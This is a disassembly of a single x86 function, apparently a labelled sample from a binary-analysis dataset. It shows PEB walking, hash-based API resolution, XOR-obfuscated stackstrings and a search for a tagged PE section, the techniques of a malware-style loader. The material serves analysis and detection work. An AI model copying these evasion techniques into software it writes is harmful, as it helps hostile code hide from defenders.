Function at 0x12c83e4
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Get number of processors
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
mov eax, dword fs:[0x30]
mov dword [0x12cc264], 0x12cc264
mov dword [0x12cc270], 0x12c7b14
mov dword [0x12cc274], 0x12c9794
mov dword [0x12cc278], 0x12c9674
mov dword [0x12cc27c], 0x12c79a4
mov eax, dword [eax + 0xc]
push ebx
push esi
push edi
mov eax, dword [eax + 0xc]
push 0
push 0xbbe11f17
mov esi, dword [eax + 0x18]
call fcn.012c75a4
push 0
push 0x60cf99af
mov dword [0x12cc950], eax
call fcn.012c75a4
mov ebx, dword [ebp + 8]
mov edi, eax
push 0
push 0x4dd0a472
test ebx, ebx
mov dword [0x12cc958], edi
push edi
cmove ebx, esi
mov esi, dword [0x12cc950]
push 0x12cc948
call fcn.012c7674
push 0
push 0xdae698d3
push edi
push 0x12cc94c
call fcn.012c7674
push 1
push 0xdd71a6cc
push edi
push 0x12cc904
call fcn.012c7674
push 1
push 0x934f10fa
push edi
push 0x12cc908
call fcn.012c7674
push 1
push 0xe497b485
push edi
push 0x12cc90c
call fcn.012c7674
push 0x12c96a4
push 1
mov dword [0x12cc280], 1
call dword [0x12cc908]
push 1
push 0x9b30cc3f
push esi
push 0x12cc8b0
mov dword [0x12cc960], eax
call fcn.012c7674
push 1
push 0xd2e93957
push esi
push 0x12cc8b4
call fcn.012c7674
push 1
push 0x3c1f3d90
push esi
push 0x12cc8b8
call fcn.012c7674
push 1
push 0xf75ce257
push esi
push 0x12cc8bc
call fcn.012c7674
push 1
push 0xeb426147
push esi
push 0x12cc8c0
call fcn.012c7674
push 1
push 0x72f8b38e
push esi
push 0x12cc8c4
call fcn.012c7674
push 1
push 0xb78bdb16
push esi
push 0x12cc8c8
call fcn.012c7674
push 1
push 0xd32e9d61
push esi
push 0x12cc8cc
call fcn.012c7674
push 1
push 0x4748527b
push esi
push 0x12cc8d0
call fcn.012c7674
push 1
push 0x5b8dd581
push esi
push 0x12cc8d4
call fcn.012c7674
push 1
push 0x5dc29570
push esi
push 0x12cc8d8
call fcn.012c7674
push 1
push 0x4e62601b
push esi
push 0x12cc8a8
call fcn.012c7674
push 1
push 0x27154a05
push esi
push 0x12cc8ac
call fcn.012c7674
push 1
push 0x5e4bf6f0
push edi
push 0x12cc8f8
call fcn.012c7674
push 1
push 0x5e4bf706
push edi
push 0x12cc8fc
call fcn.012c7674
push 1
push 0x1552ae9b
push edi
push 0x12cc900
call fcn.012c7674
push 1
push 0x376af5b2
push edi
push fcn.012cc8dc
call fcn.012c7674
push 1
push 0x1552aeb1
push edi
push 0x12cc8e0
call fcn.012c7674
push 1
push 0xd447896e
push edi
push fcn.012cc8e4
call fcn.012c7674
push 1
push 0xbed1215b
push edi
push fcn.012cc8e8
call fcn.012c7674
push 1
push 0xd8f81d2f
push edi
push 0x12cc8ec
call fcn.012c7674
push 1
push 0x4db82756
push edi
push 0x12cc8f0
call fcn.012c7674
push 1
push 0x942467dc
push edi
push 0x12cc8f4
call fcn.012c7674
push 1
push 0xe4b23a39
push edi
push 0x12cc910
call fcn.012c7674
push 1
push 0x4df7d46e
push edi
push fcn.012cc914
call fcn.012c7674
push 1
push 0x15ec9667
push edi
push fcn.012cc918
call fcn.012c7674
push 1
push 0x8b05fb05
push edi
push 0x12cc920
call fcn.012c7674
push 1
push 0xdf09dc26
push edi
push 0x12cc91c
call fcn.012c7674
push 1
push 0x228333bc
push edi
push 0x12cc930
call fcn.012c7674
push 1
push 0x4abb6b25
push edi
push 0x12cc934
call fcn.012c7674
push 1
push 0xac3a78a9
push edi
push 0x12cc938
call fcn.012c7674
push 1
push 0x2066074a
push edi
push 0x12cc93c
call fcn.012c7674
push 1
push 0x2b19b2ad
push edi
push 0x12cc940
call fcn.012c7674
push 1
push 0x6bfaf860
push edi
push fcn.012cc944
call fcn.012c7674
push 1
push 0x1291cb13
push edi
push 0x12cc984
call fcn.012c7674
push 1
push 0xab10ad07
push edi
push 0x12cc998
call fcn.012c7674
push 1
push 0x6010250c
push edi
push 0x12cc98c
call fcn.012c7674
push 1
push 0xb31ab204
push edi
push 0x12cc990
call fcn.012c7674
push 1
push 0x57ef06f8
push edi
push 0x12cc994
call fcn.012c7674
push 1
push 0x21a37b6c
push edi
push 0x12cc9a0
call fcn.012c7674
push 1
push 0xb25b6481
push edi
push 0x12cc9a4
call fcn.012c7674
push 1
push 0xae980712
push edi
push fcn.012cc9b0
call fcn.012c7674
mov eax, dword [0x12cc998]
xor ecx, ecx
mov dword [0x12cc25c], eax
mov byte [ebp - 0x37], 0x7b
mov byte [ebp - 0x36], 0x79
mov byte [ebp - 0x35], 0x6b
mov byte [ebp - 0x34], 0x78
mov byte [ebp - 0x33], 0x39
mov byte [ebp - 0x32], 0x38
mov byte [ebp - 0x31], 0x34
mov byte [ebp - 0x30], 0x6a
mov byte [ebp - 0x2f], 0x72
mov byte [ebp - 0x2e], 0x72
mov byte [ebp - 0x2d], 0
mov al, byte [ebp - 0x37]
mov al, byte [ebp + ecx - 0x37]
movsx eax, al
sub eax, 6
mov byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0xa
jb 0x12c8809
lea eax, [ebp - 0x37]
push eax
call dword [0x12cc8f8]
push 1
mov esi, eax
push 0xbc022598
push esi
push 0x12cc924
mov dword [0x12cc95c], esi
call fcn.012c7674
push 1
push 0xcd6a1508
push esi
push 0x12cc92c
call fcn.012c7674
push 1
push 0x81225c79
push esi
push 0x12cc928
call fcn.012c7674
push 1
push 0xcd6a151e
push esi
push 0x12cc9b8
call fcn.012c7674
push 1
push 0x81225c8f
push esi
push 0x12cc9b4
call fcn.012c7674
push 1
push 0x1f2ae094
push esi
push fcn.012cc9a8
call fcn.012c7674
push 1
push 0xff9a9fe
push esi
push fcn.012cc9ac
call fcn.012c7674
push ebx
call fcn.012c9244
mov dword [ebp - 0x48], 0x34
add esp, 4
mov byte [ebp - 0x44], 0x77
xor edx, edx
mov byte [ebp - 0x43], 0x58
mov byte [ebp - 0x42], 0x5b
mov byte [ebp - 0x41], 0x47
mov byte [ebp - 0x40], 0x51
mov byte [ebp - 0x3f], 0x7c
mov byte [ebp - 0x3e], 0x55
mov byte [ebp - 0x3d], 0x5a
mov byte [ebp - 0x3c], 0x50
mov byte [ebp - 0x3b], 0x58
mov byte [ebp - 0x3a], 0x51
mov al, byte [ebp - 0x44]
mov byte [ebp - 0x39], 0
nop
mov al, byte [ebp + edx - 0x44]
movsx ecx, byte [ebp - 0x48]
movsx eax, al
xor eax, ecx
mov byte [ebp + edx - 0x44], al
inc edx
cmp edx, 0xb
jb 0x12c88f4
mov byte [ebp - 0x39], 0
mov dword [ebp - 0x2c], 0x42
mov eax, dword [ebp - 0x2c]
xor eax, 0x68
mov byte [ebp - 0x28], al
mov eax, dword [ebp - 0x2c]
inc al
xor eax, 0x65
mov byte [ebp - 0x27], al
mov eax, dword [ebp - 0x2c]
add al, 2
xor eax, 0x6c
mov byte [ebp - 0x26], al
mov eax, dword [ebp - 0x2c]
add al, 3
xor eax, 0x6c
mov byte [ebp - 0x25], al
mov eax, dword [ebp - 0x2c]
add al, 4
mov byte [ebp - 0x23], 0
xor eax, 0x6f
xor edx, edx
mov byte [ebp - 0x24], al
mov al, byte [ebp - 0x28]
mov al, byte [ebp + edx - 0x28]
mov ecx, dword [ebp - 0x2c]
add cl, dl
movsx eax, al
xor ecx, eax
mov byte [ebp + edx - 0x28], cl
inc edx
cmp edx, 5
jb 0x12c8954
mov byte [ebp - 0x23], 0
mov dword [ebp - 0x20], 0x39
mov eax, dword [ebp - 0x20]
xor eax, 0x62
mov byte [ebp - 0x1c], al
mov eax, dword [ebp - 0x20]
inc al
xor eax, 0x69
mov byte [ebp - 0x1b], al
mov eax, dword [ebp - 0x20]
add al, 2
xor eax, 0x6e
mov byte [ebp - 0x1a], al
mov eax, dword [ebp - 0x20]
add al, 3
xor eax, 0x64
mov byte [ebp - 0x19], al
mov eax, dword [ebp - 0x20]
add al, 4
xor eax, 0x20
mov byte [ebp - 0x18], al
mov eax, dword [ebp - 0x20]
add al, 5
xor eax, 0x63
mov byte [ebp - 0x17], al
mov eax, dword [ebp - 0x20]
add al, 6
xor eax, 0x6f
mov byte [ebp - 0x16], al
mov eax, dword [ebp - 0x20]
add al, 7
xor eax, 0x6d
mov byte [ebp - 0x15], al
mov eax, dword [ebp - 0x20]
add al, 8
xor eax, 0x70
mov byte [ebp - 0x14], al
mov eax, dword [ebp - 0x20]
add al, 9
xor eax, 0x6c
mov byte [ebp - 0x13], al
mov eax, dword [ebp - 0x20]
add al, 0xa
xor eax, 0x65
mov byte [ebp - 0x12], al
mov eax, dword [ebp - 0x20]
add al, 0xb
xor eax, 0x74
mov byte [ebp - 0x11], al
mov eax, dword [ebp - 0x20]
add al, 0xc
xor eax, 0x65
mov byte [ebp - 0x10], al
mov eax, dword [ebp - 0x20]
add al, 0xd
xor eax, 0x20
mov byte [ebp - 0xf], al
mov eax, dword [ebp - 0x20]
add al, 0xe
xor eax, 0x25
mov byte [ebp - 0xe], al
mov eax, dword [ebp - 0x20]
add al, 0xf
xor eax, 0x70
mov byte [ebp - 0xd], al
mov eax, dword [ebp - 0x20]
add al, 0x10
xor eax, 0x2c
mov byte [ebp - 0xc], al
mov eax, dword [ebp - 0x20]
add al, 0x11
xor eax, 0x20
mov byte [ebp - 0xb], al
mov eax, dword [ebp - 0x20]
add al, 0x12
xor eax, 0x25
mov byte [ebp - 0xa], al
mov eax, dword [ebp - 0x20]
add al, 0x13
xor eax, 0x73
mov byte [ebp - 9], al
mov eax, dword [ebp - 0x20]
add al, 0x14
xor eax, 0x20
mov byte [ebp - 8], al
mov eax, dword [ebp - 0x20]
add al, 0x15
xor eax, 0x25
mov byte [ebp - 7], al
mov eax, dword [ebp - 0x20]
add al, 0x16
xor eax, 0x70
mov byte [ebp - 6], al
mov eax, dword [ebp - 0x20]
add al, 0x17
mov byte [ebp - 4], 0
xor eax, 0xa
xor edx, edx
mov byte [ebp - 5], al
mov al, byte [ebp - 0x1c]
mov al, byte [ebp + edx - 0x1c]
mov ecx, dword [ebp - 0x20]
add cl, dl
movsx eax, al
xor ecx, eax
mov byte [ebp + edx - 0x1c], cl
inc edx
cmp edx, 0x18
jb 0x12c8a86
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0
push eax
push edi
call dword [0x12cc904]
push eax
lea eax, [ebp - 0x28]
push eax
push 0x12cc264
lea eax, [ebp - 0x1c]
push eax
push 0x12cc264
call fcn.012c8d74
mov ecx, dword [0x12cc284]
add esp, 0x14
xor edi, edi
cmp ecx, 0x1ff
jae 0x12c8aec
inc ecx
mov dword [0x12cc284], ecx
mov byte [ecx + 0x12cc288], 0x13
mov ecx, dword [0x12cc284]
mov eax, 0x5a4d
cmp word [ebx], ax
jne 0x12c8b5b
mov esi, dword [ebx + 0x3c]
add esi, ebx
cmp dword [esi], 0x4550
jne 0x12c8b5b
mov eax, 0x10b
cmp word [esi + 0x18], ax
jne 0x12c8b5b
movzx eax, word [esi + 0x14]
xor edx, edx
movzx edi, word [esi + 6]
add eax, 0x18
add eax, esi
test edi, edi
je 0x12c8b42
nop dword [eax]
cmp dword [eax + 8], 0x1dfb4
jbe 0x12c8b3a
mov esi, dword [eax + 0xc]
add esi, ebx
cmp dword [esi], 0x20170408
je 0x12c8b57
inc edx
add eax, 0x28
cmp edx, edi
jb 0x12c8b24
xor esi, esi
xor edi, edi
dec ecx
mov dword [0x12cc284], ecx
test esi, esi
jne 0x12c8c0f
jmp 0x12c8b64
mov edi, eax
jmp 0x12c8b46
xor esi, esi
dec ecx
mov dword [0x12cc284], ecx
mov dword [ebp - 0x64], 0x5f
xor edx, edx
mov byte [ebp - 0x60], 0x3c
mov byte [ebp - 0x5f], 0x3e
mov byte [ebp - 0x5e], 0x31
mov byte [ebp - 0x5d], 0x78
mov byte [ebp - 0x5c], 0x2b
mov byte [ebp - 0x5b], 0x7f
mov byte [ebp - 0x5a], 0x39
mov byte [ebp - 0x59], 0x36
mov byte [ebp - 0x58], 0x31
mov byte [ebp - 0x57], 0x3b
mov byte [ebp - 0x56], 0x7f
mov byte [ebp - 0x55], 0x2d
mov byte [ebp - 0x54], 0x38
mov byte [ebp - 0x53], 0x2f
mov byte [ebp - 0x52], 0x7f
mov byte [ebp - 0x51], 0x2c
mov byte [ebp - 0x50], 0x3a
mov byte [ebp - 0x4f], 0x3c
mov byte [ebp - 0x4e], 0x2b
mov byte [ebp - 0x4d], 0x36
mov byte [ebp - 0x4c], 0x30
mov byte [ebp - 0x4b], 0x31
mov byte [ebp - 0x4a], 0x55
mov al, byte [ebp - 0x60]
mov byte [ebp - 0x49], 0
nop dword [eax]
mov al, byte [ebp + edx - 0x60]
movsx ecx, byte [ebp - 0x64]
movsx eax, al
xor eax, ecx
mov byte [ebp + edx - 0x60], al
inc edx
cmp edx, 0x17
jb 0x12c8bd4
lea eax, [ebp - 0x60]
mov byte [ebp - 0x49], 0
push eax
push 0x12cc264
call fcn.012c8d74
add esp, 8
push 0xe0410008
push 0x12cc264
call fcn.012c9794
cmp dword [esi + 8], 0x1dfb4
je 0x12c8cfb
mov dword [ebp - 0x88], 0x40
xor edx, edx
mov byte [ebp - 0x84], 0x32
mov byte [ebp - 0x83], 0x27
mov byte [ebp - 0x82], 0x30
mov byte [ebp - 0x81], 0x60
mov byte [ebp - 0x80], 0x33
mov byte [ebp - 0x7f], 0x25
mov byte [ebp - 0x7e], 0x23
mov byte [ebp - 0x7d], 0x34
mov byte [ebp - 0x7c], 0x29
mov byte [ebp - 0x7b], 0x2f
mov byte [ebp - 0x7a], 0x2e
mov byte [ebp - 0x79], 0x60
mov byte [ebp - 0x78], 0x33
mov byte [ebp - 0x77], 0x29
mov byte [ebp - 0x76], 0x3a
mov byte [ebp - 0x75], 0x25
mov byte [ebp - 0x74], 0x60
mov byte [ebp - 0x73], 0x29
mov byte [ebp - 0x72], 0x33
mov byte [ebp - 0x71], 0x60
mov byte [ebp - 0x70], 0x29
mov byte [ebp - 0x6f], 0x2e
mov byte [ebp - 0x6e], 0x36
mov byte [ebp - 0x6d], 0x21
mov byte [ebp - 0x6c], 0x2c
mov byte [ebp - 0x6b], 0x29
mov byte [ebp - 0x6a], 0x24
mov byte [ebp - 0x69], 0x4a
mov al, byte [ebp - 0x84]
mov byte [ebp - 0x68], 0
nop word [eax + eax]
mov al, byte [ebp + edx - 0x84]
movsx ecx, byte [ebp - 0x88]
movsx eax, al
xor eax, ecx
mov byte [ebp + edx - 0x84], al
inc edx
cmp edx, 0x1c
jb 0x12c8cb4
lea eax, [ebp - 0x84]
mov byte [ebp - 0x68], 0
push eax
push 0x12cc264
call fcn.012c8d74
add esp, 8
push 0xe0410009
push 0x12cc264
call fcn.012c9794
xor ecx, ecx
mov eax, 0x12ea980
cmp eax, 0x12cc9cc
sbb edx, edx
and edx, 0xfffe204c
add edx, 0x1dfb4
je 0x12c8d25
mov al, byte [ecx + esi]
mov byte [ecx + 0x12cc9cc], al
inc ecx
cmp ecx, edx
jb 0x12c8d17
mov dword [0x12cc9c8], esi
mov dword [0x12cc964], ebx
mov dword [0x12cc96c], 0x12c8044
mov eax, dword [ebx + 0x3c]
mov eax, dword [eax + ebx + 0x50]
add eax, ebx
mov dword [0x12cc970], edi
mov dword [0x12cc968], eax
mov eax, dword [0x12cca28]
and eax, 0x8000
neg eax
pop edi
sbb eax, eax
and eax, 0x12c9f14
pop esi
mov dword [0x12cc99c], eax
pop ebx
mov esp, ebp
pop ebp
ret 4